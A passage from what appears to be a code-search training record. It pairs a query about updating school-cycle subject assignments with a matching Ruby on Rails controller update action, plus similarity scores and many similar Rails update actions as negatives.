"def create\n\t\t@subject = Subject.new(subject_params)\n\n\t\trespond_to do |format|\n\t\t\tif @subject.save\n\t\t\t\tcreate_audit __method__, 'subject', @subject.id\n\t\t\t\tformat.html { redirect_to @subject, notice: 'Subject was successfully created.' }\n\t\t\t\tformat.json { render action: 'show', status: :created, location: @subject }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'new' }\n\t\t\t\tformat.json { render json: @subject.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def create_subjects_export\n Pundit.policy!(@user, @klass).scope_for(:create_subjects_export)\n end",
"def subjects\n @graphs.inject([]) {|memo, g| memo += g.subjects}\n end",
"def set_student_subject\n @student_subject = StudentSubject.find(params[:id])\n end"
] |
[
"0.751072",
"0.71531874",
"0.70572037",
"0.6933418",
"0.69173944",
"0.68118703",
"0.64249957",
"0.64220464",
"0.631099",
"0.63059056",
"0.6303154",
"0.62958187",
"0.6256324",
"0.62490124",
"0.6209975",
"0.61879426",
"0.616028",
"0.6153597",
"0.61484545",
"0.6148235",
"0.61059797",
"0.6102379",
"0.60981816",
"0.60950685",
"0.6091736",
"0.60718995",
"0.6046079",
"0.6043868",
"0.6013175",
"0.6002418",
"0.6001518",
"0.5994342",
"0.599066",
"0.5990138",
"0.59818304",
"0.5980987",
"0.59630615",
"0.5950662",
"0.59299177",
"0.59091",
"0.58931845",
"0.5888931",
"0.5880506",
"0.58694685",
"0.58668655",
"0.5853184",
"0.5852765",
"0.58456093",
"0.5843942",
"0.583732",
"0.58181465",
"0.5816984",
"0.57979345",
"0.5797028",
"0.57965446",
"0.57961184",
"0.5795149",
"0.57763946",
"0.5772376",
"0.57560915",
"0.57559",
"0.575551",
"0.5754468",
"0.574472",
"0.5742282",
"0.5740141",
"0.57157016",
"0.5714715",
"0.5697453",
"0.5696818",
"0.5693913",
"0.568136",
"0.56801945",
"0.56801945",
"0.5680034",
"0.56747836",
"0.5663315",
"0.56609",
"0.5660082",
"0.5649783",
"0.5639271",
"0.5633137",
"0.56310153",
"0.56307715",
"0.5624935",
"0.5621104",
"0.5618076",
"0.56180245",
"0.5615877",
"0.561586",
"0.561451",
"0.5612597",
"0.5610854",
"0.560842",
"0.5607193",
"0.560462",
"0.5600968",
"0.56005716",
"0.5597938",
"0.55966806"
] |
0.650712
|
6
|
PATCH/PUT /school_cycle_has_subjects/1 PATCH/PUT /school_cycle_has_subjects/1.json
|
def update
respond_to do |format|
if @school_cycle_has_subject.update(school_cycle_has_subject_params)
format.html { redirect_to ["asig",@school_cycle_has_subject], notice: 'School cycle has subject was successfully updated.' }
format.json { render :show, status: :ok, location: @school_cycle_has_subject }
else
format.html { render :edit }
format.json { render json: @school_cycle_has_subject.errors, status: :unprocessable_entity }
end
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def update\n @manual_subject = Manual::Subject.find(params[:id])\n\n respond_to do |format|\n if @manual_subject.update_attributes(params[:manual_subject])\n format.html { redirect_to @manual_subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @manual_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n base_params = subject_params.select {|k,v| k != \"discipline\"}\n base_params.each_pair do |property,value|\n @subject.send(property+'=',value)if @subject.respond_to?(property+'=')\n end\n @subject.discipline= Discipline.find(subject_params[:discipline][:id])\n if @subject.save\n set_subject\n #respond_with @subject\n render json: @subject, status: :ok\n else\n ##render json: @subject.errors, status: :unprocessable_entity\n respond_with @subject.errors, status: :unprocessable_entity\n end\n end",
"def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n\n format.html { redirect_to subjects_url, :notice => 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n @title = \"Edit Subject\"\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @curriculums_subject = CurriculumsSubject.find(params[:id])\n\n respond_to do |format|\n if @curriculums_subject.update_attributes(params[:curriculums_subject])\n format.html { redirect_to @curriculums_subject, notice: 'Curriculums subject was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @curriculums_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @university_subject.update(university_subject_params)\n format.html { redirect_to @university_subject, notice: 'University subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @university_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @exam_subject.update(exam_subject_params)\n format.html { redirect_to @exam_subject, notice: 'Exam subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @exam_subject }\n else\n format.html { render :edit }\n format.json { render json: @exam_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @student_subject.update(student_subject_params)\n format.html { redirect_to @student_subject, notice: 'Student subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @student_subject }\n else\n format.html { render :edit }\n format.json { render json: @student_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subject = @client.subjects.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n flash[:notice] = 'Subject was successfully updated.'\n format.html { redirect_to client_subject_url(@client, @subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @course_subject.update(course_subject_params)\n format.html { redirect_to @course_subject, notice: 'Course subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @course_subject }\n else\n format.html { render :edit }\n format.json { render json: @course_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to report_cards_form_subjects_path(@form), notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: report_cards_form_subjects_path(@form) }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n\tsetup_edit_subject_params\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n session[:setting] = \"\"\n @subject = @student.subject.find(params[:id])\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to student_path(@student), notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @career_subject.update(career_subject_params)\n format.html { redirect_to @career_subject, notice: 'Career subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @career_subject }\n else\n format.html { render :edit }\n format.json { render json: @career_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @semester_subject = SemesterSubject.find(params[:id])\n\n respond_to do |format|\n if @semester_subject.update_attributes(params[:semester_subject])\n flash[:notice] = 'SemesterSubject was successfully updated.'\n format.html { redirect_to(@semester_subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @semester_subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @tutor_subject.update(tutor_subject_params)\n format.html { redirect_to @tutor_subject, notice: 'Tutor subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @tutor_subject }\n else\n format.html { render :edit }\n format.json { render json: @tutor_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @thesubject.update(thesubject_params)\n format.html { redirect_to @thesubject, notice: 'Thesubject was successfully updated.' }\n format.json { render :show, status: :ok, location: @thesubject }\n else\n format.html { render :edit }\n format.json { render json: @thesubject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n if Subject.find_by(:id=>params[:id]).is_core\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to subjects_path+\"#tab_tab2\", notice: @subject.name + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n else\n\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to subjects_path, notice: @subject.name + ' was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end\n end",
"def set_school_cycle_has_subject\n @school_cycle_has_subject = SchoolCycleHasSubject.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @subject_courses_relation.update(subject_courses_relation_params)\n format.html { redirect_to @subject_courses_relation, notice: 'Subject courses relation was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_courses_relation }\n else\n format.html { render :edit }\n format.json { render json: @subject_courses_relation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @mysubject.update(mysubject_params)\n format.html { redirect_to @mysubject, notice: 'Mysubject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @mysubject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update_subject(school, name, subject)\n\tschool[:instructors].each { |instructor| instructor[:subject] = subject if instructor[:name] == name}\nend",
"def update\n respond_to do |format|\n if @subject_teacher.update(subject_teacher_params)\n format.html { redirect_to @subject_teacher, notice: 'Subject teacher was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_teacher }\n else\n format.html { render :edit }\n format.json { render json: @subject_teacher.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n\t\trespond_to do |format|\n\t\t\tif @subject.update(subject_params)\n\t\t\t\tcreate_audit __method__, 'subject', @subject.id\n\t\t\t\tformat.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n\t\t\t\tformat.json { head :no_content }\n\t\t\telse\n\t\t\t\tformat.html { render action: 'edit' }\n\t\t\t\tformat.json { render json: @subject.errors, status: :unprocessable_entity }\n\t\t\tend\n\t\tend\n\tend",
"def update\n @subject = Subject.find_by_hashed_id(params[:id])\n \n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n flash[:notice] = 'Subject was successfully updated.'\n format.html { redirect_to(@subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_subjects_via_api(subject_name_array)\n return if subject_name_array.blank?\n\n # record the list of current teacher set <--> subject associations,\n # so we can prune the subjects later.\n old_subjects = Array.new\n\n self.subjects.each do |subject|\n old_subjects.push(subject.id)\n end\n\n # delete the current teacher set <--> subject associations,\n # so we can remake them fresh from the bib info.\n self.subjects.clear\n\n # Create all the subjects and teacher_set <--> subject associations specified in the bib\n # record we're processing, ignoring duplicate associations.\n subject_name_array.each do |subject_name|\n subject_name = clean_subject_string(subject_name)\n\n subject = Subject.find_or_create_by(title: subject_name)\n subject_teacher_set = SubjectTeacherSet.find_or_create_by(teacher_set_id: self.id, subject_id: subject.id)\n end\n\n prune_subjects(old_subjects)\n end",
"def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: t('controller.successfully_updated', model: t('activerecord.models.subject')) }\n format.json { head :no_content }\n else\n prepare_options\n format.html { render action: \"edit\" }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subjects_user.update(subjects_user_params)\n format.html { redirect_to @subjects_user, notice: 'Subjects user was successfully updated.' }\n format.json { render :show, status: :ok, location: @subjects_user }\n else\n format.html { render :edit }\n format.json { render json: @subjects_user.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @experiment = @subject.experiment\n respond_to do |format|\n if @subject.update(subject_params)\n set_subjects\n @show_modal = 'hide'\n format.js\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { head :no_content }\n else\n set_subjects\n @show_modal = 'show'\n format.js\n format.html { render action: 'edit' }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @program_subject.update(program_subject_params)\n format.html { redirect_to @program_subject}\n format.json { render :show, status: :ok, location: @program_subject }\n else\n format.html { render :edit }\n format.json { render json: @program_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n respond_to do |format|\r\n if @subject.update(subject_params)\r\n format.html { redirect_to subjects_url, notice: 'Subject was successfully updated.' }\r\n format.json { render :show, status: :ok, location: @subject }\r\n format.js\r\n else\r\n format.html { render :edit }\r\n format.json { render json: @subject.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n if @user_subject.update(user_subject_params)\n render :show, status: :ok, location: @user_subject\n else\n render json: @user_subject.errors, status: :unprocessable_entity\n end\n end",
"def update\n respond_to do |format|\n if @subject_type.update(subject_type_params)\n format.html { redirect_to @subject_type, notice: 'Subject type was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_type }\n else\n format.html { render :edit }\n format.json { render json: @subject_type.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subjectm.update(subjectm_params)\n format.html { redirect_to @subjectm, notice: 'Subjectm was successfully updated.' }\n format.json { render :show, status: :ok, location: @subjectm }\n else\n format.html { render :edit }\n format.json { render json: @subjectm.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # byebug\n @subject = get_subject\n respond_to do |format|\n # Save the object\n # if @subject.update_attributes(subject_params)\n if @subject.update(subject_params)\n #if update succeeds, redirect to the index action\n \n format.html { \n flash[:notice] = 'Your subject has been successfully updated.'\n redirect_to action: :index, notice: 'Your subject has been successfully updated.' }\n # TODO: format.json { head :no_content }\n else\n # If updates fails, redisplay the form so user can fix problems\n format.html {\n @subject_count = Subject.count \n render :edit }\n # TODO: format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject_class.update(subject_class_params)\n format.html { redirect_to @subject_class, notice: 'Subject class was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @subject_class.errors, status: :unprocessable_entity }\n end\n end\n end",
"def subject_update\n\tputs\"in subject update method 888888888888885555555555555555555555\"\n \t\t @curriculum = MgSyllabus.find(params[:id])\n\t\t \n \t\t if @curriculum.update(curr_params)\n \t\t redirect_to :controller => \"curriculum\" , :action => \"class_show\"\n \t\t else\n \t\t render 'subject_edit'\n \t\t end\nend",
"def update\n @subject = Subject.find(params[:id])\n @subject_types = SubjectType.select_list\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to(admin_subject_path(@subject), :notice => 'Subject was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to @subject, notice: 'Das Fach wurde erfolgreich geändert.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject.update title: params[:title], start_date: params[:start_date], end_date: params[:end_date], teacher_id: @current_user.id\n format.html { redirect_to @subject, notice: 'La matière a été modifiée' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_sub_course = StudentSubCourse.find(params[:id])\n\n respond_to do |format|\n if @student_sub_course.update_attributes(params[:student_sub_course])\n format.html { redirect_to @student_sub_course, notice: 'Student sub course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_sub_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n flash[:notice] = 'Subject was successfully updated.'\n format.html { redirect_to(@subject) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors }\n end\n end\n end",
"def update\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n if @study_course.update_attributes(params[:study_course])\n format.html { redirect_to @study_course, notice: 'Study course was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @study_course.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @recommend_recommend_subject = Recommend::RecommendSubject.find(params[:id])\n\n respond_to do |format|\n if @recommend_recommend_subject.update_attributes(params[:recommend_recommend_subject])\n format.html { redirect_to @recommend_recommend_subject, notice: 'Recommend subject was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @recommend_recommend_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n unless @edit_or_delete_right\n redirect_to subjects_url,notice:\"您没有修改别人编写的试卷的权限\"\n end\n respond_to do |format|\n if @subject.update(subject_params)\n format.html { redirect_to subjects_url, notice: \"已经成功更新试卷:#{@subject.title}.\" }\n format.json { render :show, status: :ok, location: subjects_url }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subject_source = SubjectSource.find(params[:id])\n\n respond_to do |format|\n if @subject_source.update_attributes(params[:subject_source])\n format.html { redirect_to @subject_source, notice: 'Subject source was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subject_source.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subject = Subject.find(params[:id])\n\n respond_to do |format|\n if @subject.update_attributes(params[:subject])\n format.html { redirect_to(@subject) }\n format.xml { head :ok }\n format.json { render :text => '{status: \"success\", message: \"成功更新报到项!\"}'}\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject.errors, :status => :unprocessable_entity }\n format.json { render :text => \"{status: 'failed', error:#{@tip.errors.full_messages.to_json}}\"}\n end\n end\n end",
"def update\n\t\t@param_subject = ParamSubject.find(params[:id])\n\n\t\tif @param_subject.update_attributes(params[:param_subject])\n\t\t\thead :no_content\n\t\telse\n\t\t\trender json: @param_subject.errors, status: :unprocessable_entity\n\t\tend\n\tend",
"def update_subject(school, instructor_name, new_subject)\n school[:instructors].collect do |instructor|\n if instructor[:name] == instructor_name\n instructor[:subject] = new_subject\n end\n end\nend",
"def update(instructor, subject, school)\n school[:instructors].each do |i|\n i[:subject] = subject if i[:name] == instructor\n end\nend",
"def update\n @teaching_method = @school_subject.teaching_methods.find(params[:id])\n\n respond_to do |format|\n if @teaching_method.update_attributes(params[:teaching_method])\n format.html { redirect_to( school_subject_teaching_methods_path(@school_subject) ) }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @teaching_method.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update_suggested_course_pathway\n suggested_pathway = SuggestedPathway.find_by(id: params[:id])\n suggested_pathway.name = params[:name]\n suggested_pathway.year = params[:year]\n suggested_pathway.course_id = params[:course_id]\n suggested_pathway.data = params[:data]\n suggested_pathway.save\n render json: suggested_pathway\n end",
"def update\n respond_to do |format|\n if @preferredsubject.update(preferredsubject_params)\n format.html { redirect_to @preferredsubject, notice: 'Preferredsubject was successfully updated.' }\n format.json { render :show, status: :ok, location: @preferredsubject }\n else\n format.html { render :edit }\n format.json { render json: @preferredsubject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @subject_of_speech.update(subject_of_speech_params)\n format.html { redirect_to @subject_of_speech, notice: 'Subject of speech was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject_of_speech }\n else\n format.html { render :edit }\n format.json { render json: @subject_of_speech.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student_major = StudentMajor.find(params[:id])\n\n respond_to do |format|\n if @student_major.update_attributes(student_major_params)\n format.html { redirect_to @student_major, notice: 'Student major was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @student_major.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @subject_permission = SubjectPermission.find(params[:id])\n\n respond_to do |format|\n if @subject_permission.update_attributes(params[:subject_permission])\n format.html { redirect_to(@subject_permission, :notice => 'SubjectPermission was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @subject_permission.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @cms_school.update(cms_school_params)\n format.html { redirect_to @cms_school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @cms_school }\n else\n format.html { render :edit }\n format.json { render json: @cms_school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.update_attributes(params[:disciplines_study])\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end",
"def update\n @faq = Faq.find(params[:id])\n\n respond_to do |format|\n if @faq.update_attributes(params[:faq])\n format.html { redirect_to @faq, notice: 'FAQ atualizada com sucesso.' }\n format.json { head :no_content }\n else\n @subjects = Subject.all\n format.html { render action: \"edit\" }\n format.json { render json: @faq.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @teaching.update(teaching_params)\n #si repetition ou repet number change, detruire les scedules et les refaire\n if @teaching.update_schedules(teaching_params)\n format.html { redirect_to @teaching, notice: 'Teaching was successfully updated.' }\n format.json { render :show, status: :ok, location: @teaching }\n else\n format.html { render :edit }\n format.json { render json: @teaching.errors, status: :unprocessable_entity }\n end\n else\n format.html { render :edit }\n format.json { render json: @teaching.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @school = School.find(params[:id])\n\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @school = School.find(params[:id])\n\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @school = School.find(params[:id])\n params[:school][:creator] = \"sys_creator\"\n params[:school][:modifier] = \"sys_modifier\"\n respond_to do |format|\n if @school.update_attributes(params[:school])\n format.html { redirect_to cms_school_path(@school), notice: 'School was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n teacher = Teacher.find(params[:id])\n if teacher.update_attributes(teacher_params)\n render json: {status: 'SUCCESS', message: 'Teacher has been updated.', data: teacher}, include:'school', status: :ok\n else\n render json: {status: 'ERROR', message: 'Teacher has not been updated.', data: teacher.errors}, status: :unprocessable_entity\n \n end\n end",
"def update\n admin_only\n\n new_tutor_ids_plus_deletion = []\n unless params[:subject][:people_teaching_attributes].blank?\n params[:subject][:people_teaching_attributes].each do |attribute|\n if attribute[1][:incoming_tutor_id].nil?\n id = attribute[1][:id]\n else\n id = attribute[1][:incoming_tutor_id]\n end\n destroy = attribute[1][:_destroy]\n new_tutor_ids_plus_deletion << [id, destroy]\n end\n end\n\n respond_to do |format|\n if @subject.update(subject_params)\n\n unless new_tutor_ids_plus_deletion == []\n new_tutor_ids_plus_deletion.each do |pair|\n if pair[1] == \"1\" #that means we should delete this one...\n e = ProvidingEnrollment.find_by_user_id_and_subject_id(pair[0], @subject.id)\n begin\n e.destroy!\n rescue\n puts 'Looks like that user was added and removed in one go...'\n end\n else #that means we should make a new one if it doesn't already exist...\n if ProvidingEnrollment.find_by_user_id_and_subject_id(pair[0], @subject.id).nil?\n e = ProvidingEnrollment.new\n e.user_id = pair[0]\n e.subject_id = @subject.id\n e.save!\n end\n end\n end\n end\n\n format.html { redirect_to @subject, notice: 'Subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @subject }\n else\n format.html { render :edit }\n format.json { render json: @subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def subject_update\n puts\"in subject update method 888888888888885555555555555555555555\"\n @curriculum = MgSyllabus.find(params[:id])\n puts \"--------------------------------------------------\"\n puts params[:mg_subject_id]\n puts \"=================================================\"\n puts params\n puts \"=================================================\"\n if @curriculum.update(curr_params_update)\n @curriculum.update(:mg_subject_id=>params[:mg_subject_id],:mg_course_id=>params[:mg_course_id])\n redirect_to :controller => \"curriculum\" , :action => \"class_show\"\n else\n render 'subject_edit'\n end\nend",
"def school_cycle_has_subject_params\n params.require(:school_cycle_has_subject).permit(:school_cycle_id, :teacher_id, :subject_id, :lunes, :martes, :miercoles, :jueves, :viernes, :sabado, :horario_clases)\n end",
"def update\n @student = @user.student\n @subject_competency_array = params[:student][:subjects_of_interest]\n #remove subjects in dB before update\n @student[:subjects_of_interest].delete_if do |s|\n s != nil\n end\n @student.save\n @subject_competency_array.each do |s|\n @student.subjects_of_interest.push({\n \"subject\" => s[:subject],\n \"competency\" => s[:competency]\n })\n end\n @student.save\n respond_to do |format|\n if @student.update(student_params)\n format.html { redirect_to user_profile_url, notice: 'Profile was successfully updated.' }\n else\n render :action => 'new'\n end\n end\n end",
"def update\n respond_to do |format|\n if @chunker_subject.update(chunker_subject_params)\n format.html { redirect_to @chunker_subject, notice: 'Chunker subject was successfully updated.' }\n format.json { render :show, status: :ok, location: @chunker_subject }\n else\n format.html { render :edit }\n format.json { render json: @chunker_subject.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n # @topic = current_user.topics.find(params[:lesson][:topic_id])\n # @course = @topic.courses.first\n\n # @lesson.title = 'New Lesson (rename)' if params[:title] = ''\n respond_to do |format|\n if @lesson.update(lesson_update)\n format.html { redirect_to course_topic_lesson_path(@lesson.topic.course, @lesson.topic, @lesson), notice: 'Lesson was updated created.' }\n format.json { render :show, status: :ok, location: @lesson }\n else\n format.html { render :edit }\n format.json { render json: @lesson.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @student = Student.find(params[:student_id])\n @inschool = @student.inschools.find(params[:id])\n\n respond_to do |format|\n if @inschool.update_attributes(params[:inschool])\n format.html { redirect_to :back, notice: 'Inschool was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @inschool.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @faculty.update(faculty_params)\n head :no_content\n end",
"def update\n @subsidy = Subsidy.find(params[:id])\n\n respond_to do |format|\n if @subsidy.update_attributes(params[:subsidy])\n format.html { redirect_to @subsidy, notice: 'Заявка на материальную выплату успешно обновлена.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @subsidy.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @book = Book.find(params[:id])\n if @book.update_attributes(book_param)\n redirect_to :action => 'show', :id => @book\n else\n @subjects = Subject.all\n render :action => 'edit'\n end\n end",
"def update\n if @school.update(school_params)\n render :show, status: :ok, location: @school\n else\n render json: @school.errors, status: :unprocessable_entity\n end\n end",
"def subject_change(instructor, nu_subject, school_hash) #b. i.\n\tschool_hash[:instructors].each{|k| k[:subject]=nu_subject if k[:name]==instructor} \nend",
"def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @school.update(school_params)\n format.html { redirect_to @school, notice: 'School was successfully updated.' }\n format.json { render :show, status: :ok, location: @school }\n else\n format.html { render :edit }\n format.json { render json: @school.errors, status: :unprocessable_entity }\n end\n end\n end",
